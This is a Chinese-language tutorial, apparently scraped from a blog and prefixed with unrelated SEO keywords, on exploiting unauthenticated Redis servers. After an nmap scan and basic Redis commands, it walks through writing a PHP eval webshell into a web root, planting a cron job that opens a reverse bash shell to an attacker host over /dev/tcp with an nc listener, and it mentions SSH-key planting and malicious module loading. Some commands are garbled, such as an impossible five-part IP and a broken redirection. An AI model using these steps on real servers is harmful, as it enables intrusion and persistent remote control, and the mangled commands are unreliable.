上海魔力网站建设公司,人工智能写作网站,用php做网站的新闻,做wordpress模板赚钱Redis未授权访问漏洞 一、未授权访问漏洞概述、二、Redis未授权访问特征三、Redis常用命令四、Redis历史漏洞4.1、Redis未授权访问4.2、Redis主从复制RCE 五、Reids未授权访问利用5.1、写webshell5.2、写定时任务反弹shell 一、未授权访问漏洞概述、 未授权访问漏洞可以理解为需… Redis未授权访问漏洞 一、未授权访问漏洞概述、二、Redis未授权访问特征三、Redis常用命令四、Redis历史漏洞4.1、Redis未授权访问4.2、Redis主从复制RCE 五、Reids未授权访问利用5.1、写webshell5.2、写定时任务反弹shell 一、未授权访问漏洞概述、 未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 二、Redis未授权访问特征 默认端口 Redis6379MongoDB27017Memcached11211Jboss8080Docker2375MySQL3306 端口探测nmap端口扫描
nmap -v -Pn -p 6379 -sV 47.104.255.11
#-v显示过程
#-Pnno ping
#-sV版本探测可以看到版本信息可能存在未授权漏洞。
三、Redis常用命令
Redis简介 Redis是一个完全开源的高性能key-value数据库。 Redis应用场景 1.去最新n个数据的操作 2.排行榜取top n个数据//最佳人气前10条 3.精确的设置过期时间 4.计数器 5.实时系统反垃圾系统 6.pubsub发布订阅构建实时消息系统 7.构建消息队列 8.缓存 Redis在互联网公司一般有以下应用 1.String缓存、限流、计数器、分布式锁、分布式Session 2.Hash存储用户信息、用户主页访问量、组合查询 3.List微博关注人时间轴列表、简单队列 4.Set赞、踩、标签、好友关系 o 5.Zset排行榜 # Redis常用命令redis cli -h host -p port -a password #redisi连接远程服务器
set testkey Hello World #设置键testkey的值为字符串Hello World
get testkey #获取键testkey的内容
set score 99 #设置键score的值为99
incr score #使用INCR命令将score的值增加1
get score #获取键score的内容keys* #列出当前数据库中所有的键
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作
flushall #删除所有数据慎用
del key #删除键为key的数据四、Redis历史漏洞
4.1、Redis未授权访问
因配置不当可以未经授权访问攻击者无需认证就可以访问到内部数据。
导致敏感信息泄露。执行flushall可清空所有数据。通过数据备份功能往磁盘写入后门文件webshell、定时任务。如果Redisl以root身份运行可以给root账户写入SSH公钥文件免密码登录。
4.2、Redis主从复制RCE 在Reids4.x之后Redis新增了模块功能通过外部拓展可以实现在redis中实现一个新的Redist命令通过c语言编译并加载恶意.so文件达到代码执行的目的。 五、Reids未授权访问利用 漏洞利用方法 通过redis数据备份功能结合WEB服务往WEB网站根目录写入一句话木马从而得到WEB网站权限。目标主机80端口需要打开通过redis数据备份功能写定时任务通过定时任务反弹Shell。通过redis数据备份功能写SSH公钥实现免密登录linux服务器。 下载连接程序 wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz #解压
cd redis-6.0.3/
make #编译
cd src/
cp redis-cli /usr/bin #客户端连接程序连接目标主机的redis服务。
redis-cli -h 192.168.9.234.177 #连接目标主机的redis服务5.1、写webshell 条件 1.知道网站根目录绝对路径 2.对目标网站根目录有写入权限 config set dir /www/wwwroot/ThinkPHP/public
config set dbfilename yiye.php #创建文件yiye.php
set x ?php eval($_POST[cmd]);? #键x值?php eval($_POST[cmd]);?
save1、攻击机查看写入的一句话木马。 2、使用蚁剑进行连接。 5.2、写定时任务反弹shell
若是目标主机不存在网站可以写定时任务反弹shell。 有部分linux的定时任务目录不在/ar/spool/cron下可能存在/Nar/spool//cron/crontabs下我们可以在使用config set dir命令时进行判断是否存在该目录。 1、设置定时任务。
config set dir /var/spool/cron
config set dbfilename root
set xxx \n\n*/1 * * * * /bin/bash -i /dev/tcp/192.168.8.80/7777 01\n\n
#向192.168.8.80的7777端口传递一个会话会话的名字叫做bin/bash192.168.8.80是攻击主机
#bin/bash终端get xxx #查看键值是否设置成功
save2、设置监听。
nc -lvvp 7777 #监听端口77773、获取到会话。